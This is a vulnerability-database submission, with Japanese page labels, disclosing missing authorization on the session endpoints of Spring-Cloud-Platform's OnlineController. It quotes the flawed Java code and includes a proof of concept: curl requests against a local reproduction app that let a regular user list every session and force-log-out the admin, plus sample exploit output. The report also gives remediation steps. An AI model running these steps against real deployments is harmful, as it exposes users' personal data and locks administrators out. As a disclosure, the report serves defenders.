| タイトル | wxiaoqi Spring-Cloud-Platform 3.0 Missing Authorization |
|---|
| 説明 | ### Summary
`OnlineController` in Spring-Cloud-Platform exposes session management endpoints (`GET /online/page` and `DELETE /online/{tokenId}`) without any method-level authorization check. The controller has no `@PreAuthorize`, `@Secured`, or any Spring Security annotation, and the `ace-admin` module has no `@EnableGlobalMethodSecurity` configuration. Any authenticated user can list ALL active sessions (including administrators') — exposing tokenIds, IP addresses, usernames, browser types, and OS fingerprints — and can force-logout ANY user by deleting their Redis session entry.
**CVSS 3.1 Base Score: 8.1 (High)** — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H`
### Details
**Affected Component:** `aceModules/ace-admin/.../auth/controller/OnlineController.java`
**Vulnerability 1 — Session Data Exposure (`GET /online/page`):**
```java
@RestController
@RequestMapping("online")
public class OnlineController {
// NO @PreAuthorize, NO @Secured — any authenticated user can call this
@RequestMapping("/page")
public TableResultResponse<OnlineLog> getOnlineInfo(
@RequestParam int limit, @RequestParam int offset) {
// Iterates Redis ZSet "admin:token" — returns ALL users' sessions
Set<String> range = stringRedisTemplate.opsForZSet()
.reverseRange(RedisKeyConstant.REDIS_KEY_TOKEN, offset, offset + limit - 1);
List<OnlineLog> list = new ArrayList<>();
for (String s : range) {
list.add(JSON.parseObject(s, OnlineLog.class));
}
return new TableResultResponse<>(list.size(), list);
}
```
This endpoint returns `OnlineLog` objects containing:
- `tokenId` — live session identifier stored in Redis
- `userName`, `userId` — PII
- `ipaddr` — client IP address
- `loginLocation` — geographic location
- `browser`, `os` — device fingerprint
- `loginTime` — session creation timestamp
**Vulnerability 2 — Arbitrary Force Logout (`DELETE /online/{tokenId}`):**
```java
// NO ownership check — deletes ANY user's session
@RequestMapping("/{id}")
public ObjectRestResponse forceLogout(@PathVariable("id") String tokenId) {
stringRedisTemplate.delete(RedisKeyConstant.REDIS_KEY_TOKEN + ":" + tokenId);
stringRedisTemplate.opsForZSet().remove(RedisKeyConstant.REDIS_KEY_TOKEN, tokenId);
return new ObjectRestResponse<>();
}
}
```
No verification that the caller owns the session being terminated.
**Independence from SCP-VULN-1:**
This vulnerability exists independently of the fail-open authorization model (SCP-VULN-1). `OnlineController` itself has **no method-level authorization** — no `@PreAuthorize`, `@Secured`, or any access control annotation. Even if the gateway's `PermissionService` were configured to fail-closed (denying access to unregistered routes), the controller would still lack authorization enforcement. The gateway is the **only** authorization layer; the application service itself has none.
In the current implementation, SCP-VULN-1 (fail-open) makes these endpoints reachable by any authenticated user. But the root cause of SCP-VULN-2 is the missing authorization in the controller itself, not the gateway's fail-open behavior.
**Session Hijacking Assessment:**
The exposed `tokenId` **cannot** be used for session hijacking. The gateway (`AccessGatewayFilter.getJWTUser()`) validates:
1. **JWT signature** (RS256 RSA public key) — the attacker does not have the JWT, only the `tokenId`
2. **Redis active session** (`admin:token:{tokenId}`) — confirmed present
A `tokenId` is a random UUID generated at login and embedded inside the signed JWT. It is not transmitted as a standalone credential. Without the original JWT (which the attacker cannot reconstruct from `tokenId` alone), the `tokenId` cannot be used to authenticate. Therefore, the `tokenId` leak enables **enumeration and force-logout (DoS)**, not session hijacking.
### PoC
A reproduction application and automated PoC script are provided at `pocs/spring-cloud-platform/poc_failopen_authz/`.
**Prerequisites:**
- Java 17+, Maven, Redis (local or Docker)
- The reproduction app replicates `OnlineController`, `AccessGatewayFilter` (JWT + Redis session validation), and `AuthServiceImpl` (Redis session storage)
**Steps to reproduce:**
1. Build and run the reproduction app:
```bash
cd pocs/spring-cloud-platform/poc_failopen_authz
mvn -q package -DskipTests -f app/pom.xml
java -jar app/target/scp-failopen-poc-1.0.0.jar &
```
2. Login as both admin and regular user:
```bash
# Admin
curl -X POST http://localhost:19092/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin123"}'
# Regular user
curl -X POST http://localhost:19092/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"user","password":"user123"}'
```
3. Regular user lists ALL sessions (including admin's):
```bash
curl http://localhost:19092/online/page?limit=10&offset=0 \
-H "Authorization: <user_token>"
# Returns admin's tokenId, IP, username, browser, OS
```
4. Regular user force-logouts admin (DoS):
```bash
curl -X DELETE http://localhost:19092/online/<admin_tokenId> \
-H "Authorization: <user_token>"
# Admin's session deleted from Redis
```
5. Verify admin's JWT is now rejected:
```bash
curl http://localhost:19092/api/user/info \
-H "Authorization: <admin_token>"
# Returns: 401 "User token expired!"
```
6. Run the automated PoC:
```bash
python3 exploit.py
```
**Expected output:**
```
[Step 5] SCP-VULN-1: Regular user accesses /online/page (NOT permitted)
[PASS] FAIL-OPEN CONFIRMED: Regular user got 200 on /online/page
[INFO] Total sessions exposed: 2
[INFO] → tokenId=9b77ab8bc581... user=admin ip=192.168.1.100 os=Linux
[INFO] → tokenId=73372894d1c9... user=user ip=192.168.1.100 os=Linux
[Step 6] SCP-VULN-2: Extracting admin session data
[PASS] Admin session data extracted by regular user
[Step 7] SCP-VULN-2: Force-logout admin (DoS)
[PASS] Force-logout executed by regular user
[INFO] Admin JWT after force-logout: HTTP 401
[PASS] Admin session destroyed — admin JWT rejected (DoS confirmed)
```
### Impact
**Vulnerability type:** CWE-862 — Missing Authorization
**Who is impacted:** Any Spring-Cloud-Platform deployment. Any authenticated user can:
1. **Enumerate all active sessions** (`GET /online/page`) — exposes tokenId, username, userId, IP address, geographic location, browser type, OS, and login time for every logged-in user, including administrators. This is an information disclosure of PII and session metadata (Confidentiality: High).
2. **Force-logout any user** (`DELETE /online/{tokenId}`) — the attacker can enumerate all sessions, then systematically delete every session in Redis. This enables mass denial-of-service: an attacker can instantly log out all users including all administrators, effectively shutting down the platform. The attack can be repeated continuously as users log back in (Availability: High).
**What is NOT impacted:** Session hijacking is not possible. The exposed `tokenId` cannot be used to authenticate because the gateway validates the JWT signature (RS256) and the Redis session entry. Without the original signed JWT, the `tokenId` alone provides no authentication capability.
**Remediation:**
- Add `@PreAuthorize("hasRole('ADMIN')")` to both `OnlineController` endpoints
- For non-admin users, filter sessions to show only their own
- Validate `tokenId` ownership before allowing deletion
- Enable `@EnableGlobalMethodSecurity(prePostEnabled = true)` in `ace-admin`
|
|---|
| ソース | ⚠️ https://github.com/wxiaoqi/Spring-Cloud-Platform/issues/65 |
|---|
| ユーザー | emiya (UID 100287) |
|---|
| 送信 | 2026年08月03日 07:47 (1 月 ago) |
|---|
| モデレーション | 2026年09月12日 20:30 (1 month later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 403177 [wxiaoqi Spring-Cloud-Platform 1.0/2.2/3.0 OnlineController.java OnlineController.getOnlineInfo 特権昇格] |
|---|
| ポイント | 20 |
|---|